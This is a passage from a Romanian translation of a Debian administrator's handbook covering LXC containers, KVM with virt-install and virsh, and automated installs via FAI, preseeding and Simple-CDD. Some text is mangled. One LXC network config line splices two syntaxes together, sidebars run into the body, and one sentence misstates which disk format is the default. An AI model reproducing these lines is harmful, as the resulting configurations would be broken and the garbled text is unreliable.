iface eth0 inet dhcp

# Virtual interface
auto tap0
iface tap0 inet manual
vde2-switch -t tap0

# Bridge for containers

auto br0
iface br0 inet static
bridge-ports tap0
address 10.0.0.1
netmask 255.255.255.0

Rețeaua poate fi apoi configurată fie static în containere, fie dinamic cu DHCP server care rulează pe gazdă.
Un astfel de DHCP server va trebui să fie configurat pentru a răspunde la întrebările de pe interfața br0.

12.2.2.3. Configurarea sistemului

Să stabilim acum sistemul de fișiere care va fi folosit de container. Deoarece această “mașină virtuală” nu va
rula direct pe hardware, sunt necesare anumite modificări în comparație cu un sistem de fișiere standard, în
special în ceea ce privește nucleul, dispozitive și console. Din fericire, lxc include scripturi care
automatizează în mare parte această configurație. De exemplu, următoarele comenzi (care necesită
pachetele debootstrap și rsync vor instala un container Debian:

root@mirwiz:~# lxc-create -n testlxc -t debian

debootstrap is /usr/sbin/debootstrap
Checking cache download in /var/cache/lxc/debian/rootfs-stable-amd64 ...
Downloading debian minimal ...
I: Retrieving Release
I: Retrieving Release.gpg
[...]
Download complete.
Copying rootfs to /var/lib/lxc/testlxc/rootfs...
[...]
root@mirwiz:~#

Rețineți că sistemul de fișiere este inițial creat în /var/cache/lxc, apoi mutat în directorul său de
destinație. Acest lucru permite crearea de containere identice mult mai rapid, deoarece este necesară doar
copierea.
Rețineți că scriptul de creare a șablonului, Debian template, acceptă o opțiune --arch pentru a specifica
arhitectura sistemului care va fi instalat și o opțiune --release dacă doriți să instalați altceva decât actuala
versiune stable de Debian. De asemenea, puteți seta variabila de mediu MIRROR pentru a indica o oglindă
locală Debian.
Sistemul de fișiere nou creat conține acum un sistem Debian minim, iar în mod implicit, containerul nu are
nicio interfață de rețea (în afară de cea de loopback). Întrucât acest lucru nu se dorește cu adevărat, vom
edita fișierul de configurare al containerului (/var/lib/lxc/testlxc/config) și vom adăuga câteva
înregistrări lxc.network.*:

lxc.network.type = veth
lxc.network.flags = up
lxc.network.link = br0
lxc.network.hwaddr = 4a:lxc.net.0.type = veth
lxc.net.0.flags = up
lxc.net.0.link = br0
lxc.net.0.hwaddr = 4a:49:43:49:79:20

Aceste intrări înseamnă, respectiv, că va fi creată o interfață virtuală în container; că va fi adusă automat la
pornirea containerului menționat; că va fi conectat automat la bridge br0 al gazdei; și că adresa sa MAC va fi
cea specificată. În cazul în care această ultimă intrare lipsește sau este dezactivată, se va genera o adresă
MAC aleatoare.
O altă intrare utilă în acel fișier este setarea numelui gazdă:
lxc.uts.name = testlxc

274
12.2.2.4. Pornirea containerului

Acum că imaginea mașinii noastre virtuale este gata, să pornim containerul cu lxc-start --daemon –
name=testlxc.
În versiunile LXC după 2.0.8, parolele root nu sunt setate în mod implicit. Putem seta unul care rulează lxc-
attach -n testlxc passwd. Acum ne putem autentifica:

root@mirwiz:~# lxc-console -n testlxc

Debian GNU/Linux 9 testlxc console

testlxc login: root

Password:
Linux testlxc 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5 (2019-06-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.
root@testlxc:~# ps auxwf
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 56736 6608 ? Ss 09:28 0:00 /sbin/init
root 32 0.0 0.1 46096 4680 ? Ss 09:28 0:00 /lib/systemd/systemd-journald
root 75 0.0 0.1 67068 3328 console Ss 09:28 0:00 /bin/login --
root 82 0.0 0.1 19812 3664 console S 09:30 0:00 \_ -bash
root 88 0.0 0.1 38308 3176 console R+ 09:31 0:00 \_ ps auxwf
root 76 0.0 0.1 69956 5636 ? Ss 09:28 0:00 /usr/sbin/sshd -D
root@testlxc:~#

Acum suntem în container; accesul nostru la procese este limitat doar la cele pornite, propriu-zis, de la
container, iar accesul nostru la sistemul de fișiere este restricționat în mod similar la subsetul dedicat al
sistemului complet de fișiere (/var/lib/lxc/testlxc/rootfs). Putem ieși din consolă cu tastele
Control+a q.
Rețineți că am rulat containerul ca proces de fundal, datorită opțiunii --daemon
a lui lxc-start.
Putem întrerupe containerul cu o comandă, cum ar fi lxc-stop --name=testlxc.
Pachetul lxc conține un script de inițializare care poate porni automat unul sau mai multe containere atunci
când pornesc gazda (se bazează pe lxc-autostart, care pornește containere a căror opțiune
lxc.start.auto este setată pe 1). Controlul mai fin al ordinului de pornire este posibil cu
lxc.start.order și lxc.group: în mod implicit, scriptul de inițializare pornește mai întâi containerele
care fac parte din grupul onboot și apoi containerele care nu fac parte din niciun grup. În ambele cazuri,
ordinea dintr-un grup este definită prin opțiunea lxc.start.order.

ÎN DETALIU Deoarece LXC este un sistem de izolare foarte ușor, acesta poate fi adaptat în special la găzduirea masivă a
Virtualizare în masă server-elor virtuale. Configurația rețelei va fi probabil un pic mai avansată decât cea descrisă mai sus, dar
configurația “bogată” folosind interfețele tap și veth ar trebui să fie suficientă în multe cazuri.
De asemenea, poate avea sens să partajați o parte din sistemul de fișiere, cum ar fi subfilele /usr și /lib,
astfel încât să evitați duplicarea software-ului care poate fi necesar să fie comun mai multor containere. Acest
lucru se va realiza de obicei cu intrările lxc.mount.entry în fișierul de configurare al containerelor. Un
efect secundar interesant este că procesele vor folosi apoi mai puțină memorie fizică, deoarece nucleul este
capabil să detecteze că programele sunt partajate. Costul marginal al unui container suplimentar poate fi apoi
redus la spațiul pe disc dedicat datelor sale specifice și la câteva procese suplimentare pe care nucleul trebuie să
le planifice și să le gestioneze.
Nu am descris toate opțiunile disponibile, desigur; informații mai cuprinzătoare pot fi obținute din paginile de
manual lxc(7) și lxc.container.conf(5) și cele la se care le face referire.

12.2.3. Virtualizare cu KVM

KVM (Kernel-based Virtual Machine), care înseamnă Mașină virtuală bazată pe kernel, este în primul rând un
modul de kernel care oferă cea mai mare parte a infrastructurii care poate fi folosit de un virtualizator, dar nu
este propriuzis un virtualizator. Controlul real pentru virtualizare este gestionat de o aplicație bazată pe
QEMU. Nu vă faceți griji dacă această secțiune menționează comenzile qemu-*: este totuși despre KVM.

275
Spre deosebire de alte sisteme de virtualizare, KVM a fost contopit în nucleul Linux chiar de la început.
Dezvoltatorii săi au ales să profite de seturile de instrucțiuni ale procesorului dedicate virtualizării (Intel-VT și
AMD-V), care menține KVM ușor, elegant și nu sunt lacome la resurse. Echivalent desigur, este că KVM nu
funcționează pe niciun computer, ci doar pe cele cu procesoare adecvate. Pentru computerele bazate pe
x86, puteți verifica dacă aveți un astfel de procesor căutând “vmx” sau “svm” în fanioanele CPU enumerate în
/proc/cpuinfo.
Cu Red Hat susținând activ dezvoltarea sa, KVM a devenit mai mult sau mai puțin referința pentru
virtualizarea Linux.

12.2.3.1. Etapele preliminare

Spre deosebire de instrumente precum VirtualBox, KVM în sine nu include nicio interfață de utilizator pentru
crearea și gestionarea mașinilor virtuale. Pachetul qemu-kvm oferă doar un executabil capabil să pornească
o mașină virtuală, precum și un script de inițializare care încarcă modulele de kernel corespunzătoare.
Din fericire, Red Hat oferă și un alt set de instrumente pentru a rezolva această problemă, prin dezvoltarea
bibliotecii libvirt și a instrumentelor asociate virtual machine manager. Pachetul libvirt permite gestionarea
mașinilor virtuale într-un mod uniform, independent de sistemul de virtualizare implicat în culise (acceptă în
prezent QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare și UML). virtual-manager este o interfață
grafică în care folosește libvirt pentru a crea și gestiona mașini virtuale.
Mai întâi instalăm pachetele necesare, cu apt-get install libvirt-clients libvirt-daemon-
system qemu-kvm virtinst virt-manager virt-viewer. libvirt-bin oferă libvirtd daemon,
care permite gestionarea (potențial de la distanță) a mașinilor virtuale care rulează gazda și pornește VM-
urile necesare atunci când gazda pornește. În plus, acest pachet oferă virsh , instrumentul pentru linia de
comandă, care permite controlul mașinilor administrate cu libvirtd.
Pachetul virtinst oferă virt-install care permite crearea de mașini virtuale din linia de comandă. În cele
din urmă, virt-viewer permite accesarea consolei grafice al unui VM.

12.2.3.2. Configurarea rețelei

La fel ca în Xen și LXC, cea mai frecventă configurație a rețelei implică o punte care grupează interfețele de
rețea ale mașinilor virtuale (vedeți secțiunea 12.2.2.2. “Configurarea rețelei” pagina 273).
Alternativ, și în configurația implicită furnizată de KVM, mașinii virtuale i se atribuie o adresă privată (în
intervalul 192.168.122.0/24) și NAT este configurat astfel încât VM să poată accesa rețeaua exterioară.
Restul acestei secțiuni presupune că gazda are interfață fizică eth0 și bridge br0, și că primul este conectat
la cel de-al doilea.

12.2.3.3. Instalarea cu virt-install

Crearea unei mașini virtuale este foarte asemănătoare cu instalarea unui sistem normal, cu excepția faptului
că descrierile caracteristicilor mașinii virtuale sunt într-o linie de comandă aparent fără sfârșit.
De fapt, vom folosi programul de instalare Debian, pornind mașina virtuală pe o unitate DVD-ROM virtuală
care mapează o imagine DVD Debian stocată pe sistemul gazdă. VM își va exporta consola grafică prin
VNC protocol (a se vedea secțiunea 9.2.2. “Folosirea desktopurilor grafice la distanță” pagina 172 pentru detalii),
ceea ce ne va permite să controlăm procesul de instalare.
Mai întâi trebuie să-i arătăm lui libvirtd unde să stocheze imaginile de pe disc, cu excepția cazului în care
locația implicită (/var/lib/libvirt/images/) este în bună.

root@mirwiz:~# mkdir /srv/kvm

root@mirwiz:~# virsh pool-create-as srv-kvm dir --target /srv/kvm
Pool srv-kvm created

root@mirwiz:~#

SFAT Toate eșantioanele din această secțiune presupun că executați comenzi ca root. De fapt, dacă doriți să controlați
Adăugați-vă ca utilizator la un daemon libvirt local, trebuie să fiți root sau să fiți membru al grupului libvirt (ceea ce nu este cazul
grupul de libvirt implicit). Astfel, dacă doriți să evitați folosirea drepturilor de root prea des, puteți să vă adăugați în grupul
libvirt și să executați diferitele comenzi sub identitatea voastră de utilizator.

276
Să începem acum procesul de instalare pentru mașina virtuală și să aruncăm o privire mai atentă la cele mai
importante opțiuni ale comenzii virt-install. Aceasta înregistrează mașina virtuală și parametrii acesteia
în libvirtd, apoi o pornește pentru ca instalația să poată continua.

# virt-install --connect qemu:///system ➊

--virt-type kvm ➋
--name testkvm ➌
--ram 1024 ➍
--disk /srv/kvm/testkvm.qcow,format=qcow2,size=10 ➎
--cdrom /srv/isos/debian-8.1.0-amd64-netinst.iso ➏
--network bridge=br0 ➐
--vnc ➑
--os-type linux ➒
--os-variant debian10

Starting install...
Allocating 'testkvm.qcow' | 10 GB 00:00

➊ Opțiunea --connect specifică “hipervisor” de utilizat. Forma sa este aceea a unui URL care conține
un sistem de virtualizare (xen://, qemu://, lxc://, openvz://, vbox:// și așa mai departe) și
mașina care ar trebui să găzduiască VM (aceasta poate fi lăsată goală în cazul gazdei locale). În
plus, și în cazul QEMU/KVM, fiecare utilizator poate gestiona mașini virtuale care funcționează cu
permisiuni restrânse, iar calea URL permite diferențierea mașinilor “system” (/sistem) de altele
(/sesiune).
➋ Deoarece KVM este gestionat la fel ca și QEMU, --virt-type kvm permite specificarea utilizării
KVM, chiar dacă URL-ul arată ca si QEMU.
➌ Opțiunea --name definește un nume (unic) pentru mașina virtuală.
➍ Opțiunea --ram permite specificarea cantității de RAM (în MB) de alocat pentru mașina virtuală.
➎ --disk specifică locația fișierului imagine care urmează să reprezinte hard disk-ul mașinii noastre
virtuale; acel fișier este creat, cu excepția cazului în care este prezent, cu o dimensiune (în GB)
specificată de parametrul size. Parametrul format permite alegerea dintre mai multe moduri de
stocare a fișierului imagine. Formatul implicit (qcow2) este un singur fișier care se potrivește exact
dimensiunii și conținutului discului. Am ales aici un format mai avansat, care este specific QEMU și
permite începerea cu un fișier mic care crește doar atunci când mașina virtuală începe să
folosească de fapt spațiu.
➏ Opțiunea --cdrom este utilizată pentru a indica unde puteți găsi discul optic pentru a fi instalat.
Calea poate fi fie o cale locală pentru un fișier ISO, o adresă URL de unde poate fi obținut fișierul, fie
fișierul dispozitiv al unei unități CD-ROM fizice (adică /dev/cdrom).
➐ --network specifică modul în care placa de rețea virtuală se integrează în configurația de rețea a
gazdei. Comportamentul implicit (pe care l-am forțat explicit în exemplul nostru) este de a-l integra în
orice punte de rețea preexistentă. Dacă nu există un astfel de punte, mașina virtuală va ajunge la
rețeaua fizică doar prin NAT, astfel încât să primească o adresă într-un interval de subrețea privată
(192.168.122.0/24).
➑ --vnc arată consolei grafice că ar trebui să fie disponibilă folosind VNC. Comportamentul implicit
pentru VNC server asociat este să asculți numai pe interfața locală; dacă clientul VNC urmează să
fie rulat pe o gazdă diferită, stabilirea conexiunii va necesita configurarea unui tunel SSH (a se
vedea secțiunea 9.2.1.3. “Crearea tunelurilor criptate cu port forwarding” pagina 171). În schimb,
--graphics vnc,listen=0.0.0.0 poate fi utilizat astfel încât VNC server să fie accesibil din
toate interfețele; rețineți că, dacă faceți acest lucru, ar trebui să vă proiectați firewall-ul în consecință.
➒ Opțiunile --os-type și --os-variant permit optimizarea câtorva parametri ai mașinii virtuale,
pe baza unor caracteristici cunoscute ale sistemului de operare menționat acolo.
În acest moment, mașina virtuală rulează și trebuie să ne conectăm la consola grafică pentru a continua
procesul de instalare. Dacă operațiunea anterioară a fost rulată dintr-un mediu desktop grafic, această
conexiune ar trebui să fie pornită automat. Dacă nu, sau dacă funcționăm de la distanță, virt-viewer
poate fi rulat din orice mediu grafic pentru a deschide consola grafică (rețineți că parola rădăcină a gazdei la
distanță este solicitată de două ori, deoarece operația necesită conexiuni 2 SSH):

$ virt-viewer --connect qemu+ssh://root@server/system testkvm

root@server's password:
root@server's password:

277
Când procesul de instalare se încheie, mașina virtuală este repornită, fiind gata de utilizare.

12.2.3.4. Gestionarea mașinilor cu virsh

Acum că instalarea a fost terminată, să vedem cum se gestionează mașinile virtuale disponibile. Primul lucru
pe care trebuie să îl încercați este să cereți libvirtd lista mașinilor virtuale pe care le administrează:

# virsh -c qemu:///system list --all

Id Name State
----------------------------------
8 testkvm shut off

Să pornim acum, testul mașinii virtuale:

# virsh -c qemu:///system start testkvm

Domain testkvm started

Acum putem obține instrucțiunile de conectare pentru consola grafică (afișarea VNC returnată poate fi dată
ca parametru la vncviewer):

# virsh -c qemu:///system vncdisplay testkvm

127.0.0.1:0

Alte sub-comenzi virsh disponibile includ:

• reboot pentru a reporni o mașină virtuală
• shutdown pentru a declanșa o oprire curată;
• destroy pentru o oprire brutală;
• suspend pentru a întrerupe;
• resume pentru a relua;
• autostart pentru a activa (sau dezactiva, cu opțiunea --disable) pornirea automată a mașinii
virtuale la pornirea gazdei;
• undefine pentru a elimina toate urmele mașinii virtuale din libvirtd.
Toate aceste sub-comenzi iau ca parametru un identificator de mașină virtuală.

12.2.3.5. Instalarea unui sistem bazat pe RPM, în Debian, cu yum

Dacă mașina virtuală este destinată să ruleze un Debian (sau unul dintre derivatele sale), sistemul poate fi
inițializat cu debootstrap, așa cum este descris mai sus. Dar dacă mașina virtuală va fi instalată cu un
sistem bazat pe RPM (cum ar fi Fedora, CentOS sau Scientific Linux), instalarea va trebui să se facă folosind
utilitarul yum (disponibil în pachetul de același nume).
Procedura necesită utilizarea rpm pentru a extrage un set inițial de fișiere, incluzând în special fișierele de
configurare yum, apoi apelarea yum pentru a extrage setul rămas de pachete. Dar, din moment ce numim
yum din afara chroot, trebuie să facem unele schimbări temporare. În exemplul de mai jos, chroot-ul țintă este
/srv/centos.

# rootdir="/srv/centos"
# mkdir -p "$rootdir" /etc/rpm
# echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath
# wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-
⮩ 7-6.1810.2.el7.centos.x86_64.rpm
# rpm --nodeps --root "$rootdir" -i centos-release-7-6.1810.2.el7.centos.x86_64.rpm
rpm: RPM should not be used directly install RPM packages, use Alien instead!
rpm: However assuming you know what you are doing...
warning: centos-release-7-6.1810.2.el7.centos.x86_64.rpm: Header V3 RSA/SHA256
⮩ Signature, key ID f4a80eb5: NOKEY
# sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.
⮩ repos.d/*.repo
# yum --assumeyes --installroot $rootdir groupinstall core
[...]
# sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.
⮩ repos.d/*.repo

278
12.3. Instalare Automată
Administratorul Școlii Generale, asemenea multor administratori de servicii IT mari, are nevoie de instrumente
pentru a instala (sau reinstala) rapid și automat, dacă este posibil, noile lor mașini.
Aceste cerințe pot fi îndeplinite printr-o gamă largă de soluții. Pe de o parte, instrumente generice, cum ar fi
SystemImager, gestionează acest lucru prin crearea unei imagini bazate pe o mașină șablon, apoi dislocă
imaginea în sistemele țintă; la celălalt capăt al spectrului, instalatorul standard Debian poate fi presetat cu un
fișier de configurare care oferă răspunsurile la întrebările adresate în timpul procesului de instalare. Ca o
soluție de mijloc, un instrument hibrid cum ar fi FAI (Fully Automatic Installer), instalează mașini folosind
sistemul de împachetare, dar folosește și propria infrastructură pentru sarcini care sunt mai specifice
implementărilor masive (cum ar fi ca pornire, partiționare, configurare și așa mai departe).
Fiecare dintre aceste soluții are pro și contra: SystemImager funcționează independent de orice sistem de
împachetare particular, ceea ce îi permite să gestioneze seturi mari de mașini folosind mai multe distribuții
Linux distincte. De asemenea, include un sistem de actualizare care nu necesită o reinstalare, dar acest
sistem de actualizare poate fi fiabil numai dacă mașinile nu sunt modificate independent; cu alte cuvinte,
utilizatorul nu trebuie să actualizeze niciun software singur sau să instaleze orice alt software. În mod similar,
actualizările de securitate nu trebuie automatizate, deoarece acestea trebuie să treacă prin imaginea de
referință centralizată menținută de SystemImager. Această soluție necesită, de asemenea, ca mașinile țintă să
fie omogene, în caz contrar, multe imagini diferite ar trebui să fie păstrate și gestionate (o imagine i386 nu se
va potrivi pe o mașină powerpc și așa mai departe).
Pe de altă parte, o instalație automatizată care folosește debian-installer se poate adapta la specificul fiecărei
mașini: instalatorul va prelua kernel-ul și pachetele software corespunzătoare din depozitele relevante, va
detecta hardware-ul disponibil, va despărți întregul hard disk pentru a profita de tot spațiul disponibil,
instalează sistemul Debian corespunzător și configurează un bootloader adecvat. Cu toate acestea,
instalatorul standard va instala doar versiuni standard Debian, cu sistemul de bază și un set de “sarcini”
preselectate; acest lucru exclude instalarea unui anumit sistem cu aplicații neîmpachetate. Îndeplinirea
acestei nevoi particulare necesită personalizarea instalatorului... Din fericire, instalatorul este foarte modular
și există instrumente pentru automatizarea majorității lucrărilor necesare pentru această personalizare, cel
mai important — simple CDD (CDD fiind un acronim pentru Custom Debian Derivative — Debian derivat
personalizat). Dar chiar și soluția simple CDD se ocupă doar de instalațiile inițiale; aceasta nu este de obicei o
problemă, deoarece instrumentele APT permit implementarea eficientă a actualizărilor ulterior.
Vom oferi doar o imagine de ansamblu a FAI și vom omite SystemImager cu totul (care nu mai este în
Debian), pentru a ne concentra mai atent pe debian-installer și simple CDD, care sunt mai interesante doar
într-un context Debian.

12.3.1. Instalatorul complet automat (FAI)

Fully Automatic Installer este probabil cel mai vechi sistem de implementare automatizat pentru Debian, care
explică statutul său de referință; însă natura sa foarte flexibilă doar compensează complexitatea pe care o
implică.
FAI are nevoie de un sistem server care să stocheze informații despre implementare și să permită pornirea
mașinilor țintă din rețea. Acest server cere pachetul fai-server (sau fai-quickstart care aduce și elementele
necesare pentru o configurație standard).
FAI utilizează o abordare specifică pentru definirea diferitelor profiluri instalabile. În loc să dubleze pur și
simplu o instalație de referință, FAI este un instalator complet, configurabil complet printr-un set de fișiere și
scripturi stocate pe server; locația implicită /srv/fai/config/ nu este creată automat, deci administratorul
trebuie să o creeze împreună cu fișierele relevante. De cele mai multe ori, aceste fișiere vor fi personalizate
din fișierele de exemplu disponibile în documentație pentru pachetul fai-doc, mai exact directorul
/usr/share/doc/fai-doc/examples/simple/.
Odată ce profilurile sunt definite, comanda fai-setup generează elementele necesare pentru a începe o
instalare FAI; aceasta înseamnă mai ales pregătirea sau actualizarea unui sistem minim (rădăcină NFS)
utilizat în timpul instalării. O alternativă este de a genera un CD dedicat de boot cu fai-cd.
Crearea tuturor acestor fișiere de configurare reclamă o anumită înțelegere a modului în care funcționează
FAI. Un proces de instalare tipic este făcut în următorii pași:
• (fetching) preluarea unui nucleu din rețea și pornirea acestuia;
• montarea sistemului de fișiere root din NFS;

279
 • executarea /usr/sbin/fai, care controlează restul procesului (următorii pași sunt inițiați prin
acest script);
• copierea spațiului de configurare de pe server în /fai/;
• running fai-class. Scripturile /fai/class/[0-9][0-9]* sunt executate la rândul lor și
returnează numele “claselor” care se aplică mașinii instalate; aceste informații vor servi ca bază
pentru etapele următoare. Aceasta permite o anumită flexibilitate în definirea serviciilor care trebuie
instalate și configurate;
• (fetching) preluarea unui număr de variabile de configurare, în funcție de clasele relevante;
• partitionarea discurilor și formatarea partițiilor, pe baza informațiilor furnizate în
/fai/disk_config/class;
• montarea respectivelor partiții;
• instalarea sistemului de bază;
• presetarea bazei de date Debconf cu fai-debconf;
• (fetching) preluarea listei de pachete disponibile pentru APT;
• instalarea pachetelor enumerate în /fai/package_config/class;
• executarea scripturilor post-configurare, /fai/scripts/class/[0-9][0-9]*;
• înregistrarea jurnalelor de instalare, demontarea partițiilor și repornirea.

12.3.2. Presetarea debian-installer

Ca o concluzie, cel mai bun instrument de instalare a sistemelor Debian ar trebui să fie logic instalatorul
oficial Debian. Acesta este motivul pentru care, încă din concepție, debian-installer a fost proiectat pentru
utilizare automatizată, profitând de infrastructura oferită de debconf. Acesta din urmă permite, pe de o parte,
să reducă numărul de întrebări (întrebările ascunse vor folosi răspunsul implicit furnizat), iar pe de altă parte,
să furnizeze separat răspunsurile implicite, astfel încât instalarea să poată fi non-interactivă. Această ultimă
caracteristică este cunoscută sub numele de preseeding.

ÎN DETALIU Presetarea ne permite să oferim un set de răspunsuri la întrebările Debconf la momentul instalării, dar aceste
Debconf cu o bază de date răspunsuri sunt statice și nu evoluează pe măsură ce trece timpul. Întrucât mașinile deja instalate pot avea nevoie
centralizată de actualizare și noi răspunsuri pot fi cerute, fișierul de configurare /etc/debconf.conf poate fi configurat
astfel încât Debconf să utilizeze surse de date externe (cum ar fi un server de director LDAP sau un fișier la
distanță accesat prin NFS sau Samba). Mai multe surse de date externe pot fi definite în același timp și se
completează reciproc. Baza de date locală este încă folosită (pentru acces la citire-scriere), dar bazele de date la
distanță sunt de obicei limitate la citire. Pagina de manual debconf.conf(5) descrie toate posibilitățile în detaliu
(aveți nevoie de pachetul debconf-doc).

12.3.2.1. Utilizarea unui fișier presetat

Există mai multe locuri în care instalatorul poate primi un fișier de presetare:
• în initrd folosit pentru pornirea mașinii; în acest caz, presetarea se întâmplă chiar la începutul
instalării și se pot evita toate întrebările. Fișierul trebuie numit preseed.cfg și stocat în initrd root.
• pe suportul de pornire (CD sau stick USB); presetarea se întâmplă imediat după ce suportul este
montat, asta înseamnă imediat după întrebările referitoare la limbă și aspectul tastaturii. Parametrul
de boot preseed/file poate fi utilizat pentru a indica locația fișierului de presetare (de exemplu,
/cdrom/preseed.cfg atunci când instalarea este terminată pe un CD-ROM sau
/hd-media/preseed.cfg în cazul stick-ului USB).
• din rețea; presetarea se întâmplă numai după configurarea (automată) a rețelei; parametrul de
pornire relevant este atunci preseed/url=http://server/preseed.cfg.
La prima vedere, inclusiv fișierul de presetare din initrd pare cea mai interesantă soluție; cu toate acestea,
este foarte rar utilizat în practică, deoarece generarea unui initrd de instalare este destul de complexă.
Celelalte două soluții sunt mult mai frecvente, mai ales că parametrii de pornire oferă o altă modalitate de a
pre-configura răspunsurile la primele întrebări ale procesului de instalare. Modul obișnuit de a salva deranjul
de a tasta manual acești parametri de pornire la fiecare instalație este de a-i salva în configurația pentru
izolinux (în cazul CD-ROM) sau syslinux (stick USB).

12.3.2.2. Crearea unui fișier presetat

Un fișier presetat este un fișier text simplu, în care fiecare linie conține răspunsul la o întrebare Debconf. O
linie este împărțită pe patru câmpuri separate de spațiul alb (spații sau tab);

280
cum ar fi, de exemplu, d-i mirror/suite string stable:
• primul câmp este “owner”-ul întrebării; “d-i” este utilizat pentru întrebările relevante pentru instalator,
dar poate fi, de asemenea, un nume de pachet pentru întrebările care provin de la pachetele Debian;
• al doilea câmp este un identificator pentru întrebare;
• al treilea câmp, tipul întrebării;
• al patrulea și ultimul câmp conține valoarea pentru răspuns. Rețineți că acesta trebuie separat de al
treilea câmp cu un singur spațiu; dacă există mai multe, următoarele caractere spațiale sunt
considerate parte a valorii.
Cel mai simplu mod de a scrie un fișier presetat este să instalați manual un sistem. Apoi debconf-get-
selections --installer va oferi răspunsurile referitoare la instalator. Răspunsuri despre alte pachete
pot fi obținute cu debconf-get-selections. Cu toate acestea, o soluție mai curată este de a scrie fișierul
presetat manual, pornind de la un exemplu și documentația de referință: cu o astfel de abordare, pot fi
presetate numai întrebările în care trebuie să fie trecut peste răspunsul implicit; folosind parametrul de
pornire priority=critical, va instrui Debconf să pună doar întrebări critice și să utilizeze răspunsul
implicit pentru alții.

DOCUMENTAȚIE Ghidul de instalare, disponibil online, include documentații detaliate despre utilizarea unui fișier presetat într-o
Anexa Ghidului de Instalare anexă. De asemenea, include un fișier de eșantion detaliat și comentat, care poate servi drept bază pentru
personalizări locale.
➨ https://www.debian.org/releases/stable/amd64/apb
➨ https://www.debian.org/releases/stable/example-preseed.txt

12.3.2.3. Crearea unui mediu de boot personalizat

Știind unde să stocați fișierul presetat este foarte bine, dar locația nu este totul: trebuie, într-un fel sau altul,
după instalarea mediului de boot, să modificați parametrii de boot și să adăugați fișierul presetat.

12.3.2.3.1. Pornirea din rețea

Când un computer este pornit din rețea, server-ul care trimite elementele de inițializare definește, de
asemenea, parametrii de pornire. Astfel, modificarea trebuie făcută în configurația PXE pentru server-ul de
pornire; mai precis, în fișierul său de configurare /tftpboot/pxelinux.cfg/default. Configurarea
network boot este o condiție prealabilă; consultați Ghidul de Instalare pentru detalii.
➨ https://www.debian.org/releases/stable/amd64/ch04s05
12.3.2.3.2. Pregătirea unui stick USB boot-abil
După ce a fost pregătită o cheie de pornire (vedeți secțiunea 4.1.2. “Pornirea de pe un stick USB” pagina 59), sunt
necesare câteva operații suplimentare. Presupunem conținutul cheii disponibil în /media/usbdisk/:
• copiați fișierul presetat în /media/usbdisk/preseed.cfg
• editați /media/usbdisk/syslinux.cfg și adăugați parametrii de boot necesari (consultați
exemplul de mai jos).

Exemplul 12.2 Fișierul syslinux.cfg și parametrii de presetare

default vmlinuz
append preseed/file=/hd-media/preseed.cfg locale=en_US.UTF-8 keymap=us language=us
⮩ country=US vga=788 initrd=initrd.gz --

12.3.2.3.3. Crearea unei imagini CD-ROM

Un stick USB este un mediu de citire-scriere, așa că ne-a fost ușor să adăugăm un fișier acolo și să
schimbăm câțiva parametri. În cazul CD-ROM, operația este mai complexă, deoarece trebuie să regenerăm
o imagine ISO completă. Această sarcină este tratată de debian-cd, dar acest instrument este destul de
incomod de utilizat: are nevoie de o oglindă locală și necesită o înțelegere a tuturor opțiunilor oferite de
/usr/share/debian-cd/CONF.sh; chiar și atunci, make trebuie invocat de mai multe ori. /usr/share/
debian-cd/README este așadar o lectură foarte recomandată.
Acestea fiind spuse, debian-cd funcționează întotdeauna într-un mod similar: este generat un director
“imagine” cu conținutul exact al CD-ROM-ului, apoi este convertit într-un fișier ISO cu un instrument precum

281
genisoimage, mkisofs sau xorriso. Directorul de imagini este finalizat după pasul debian-cd make
image-trees. În acel moment, introducem fișierul presetat în directorul corespunzător (de obicei,
$TDIR/$CODENAME/CD1/, $TDIR și $CODENAME fiind parametrii definiți de fișierul de configurare
CONF.sh). CD-ROM folosește izolinux ca bootloader, iar fișierul său de configurare trebuie adaptat de la
ce a generat debian-cd, pentru a insera parametrii de boot necesari (fișierul specific este
$TDIR/$Codename/boot1/isolinux/isolinux.cfg). Apoi, procesul “normal” poate fi reluat și putem
continua la generarea imaginii ISO cu make image CD=1 (sau make images dacă mai multe CD-ROM
sunt generate).

12.3.3. Simple-CDD: soluția la pachet

Categoric, utilizarea unui fișier presetat nu este suficientă pentru a îndeplini toate cerințele care pot apărea
pentru implementări mari. Chiar dacă este posibil să se execute câteva scripturi la sfârșitul procesului normal
de instalare, selecția setului de pachete de instalat nu este încă destul de flexibilă (practic, pot fi selectate
doar “tasks”); mai important, acest lucru permite doar instalarea pachetelor oficiale Debian și le exclude pe
cele generate local.
Pe de altă parte, debian-cd este capabil să integreze pachete externe, iar debian-installer poate fi extins prin
introducerea de noi pași în procesul de instalare. Combinând aceste funcții, ar trebui să fie posibil să creăm
un program de instalare personalizat care să satisfacă nevoile noastre; ar trebui chiar să poată configura
anumite servicii după despachetarea pachetelor necesare. Din fericire, aceasta nu este o simplă ipoteză,
deoarece aceasta este exact ceea ce face Simple-CDD (în pachetul simple-cdd).
Scopul Simple-CDD este de a permite oricui să creeze cu ușurință o distribuție derivată de la Debian, prin
selectarea unui subset de pachete disponibile, preconfigurarea lor cu Debconf, adăugarea de software
specific și executarea de scripturi personalizate la sfârșitul procesului de instalare. Acest lucru se potrivește
cu filozofia “sistem de operare universal”, deoarece oricine îl poate adapta la nevoile sale.

12.3.3.1. Crearea profilurilor

Simple-CDD definește “profils” care se potrivesc conceptului de FAI “classes”, iar o mașină poate avea mai
multe profiluri (determinate la momentul instalării). Un profil este definit de un set de fișiere
profiles/profile.*:
• fișierul .description conține o descriere de o linie pentru profil;
• fișierul .packages listează pachetele care vor fi instalate automat dacă profilul este selectat;
• fișierul .downloads listează pachetele care vor fi stocate pe suportul de instalare, dar nu neapărat
instalate;
• fișierul .preseed conține informații de presetare pentru întrebări Debconf (pentru instalator și/sau
pentru pachete);
• fișierul .postinst conține un script care va fi rulat la sfârșitul procesului de instalare;
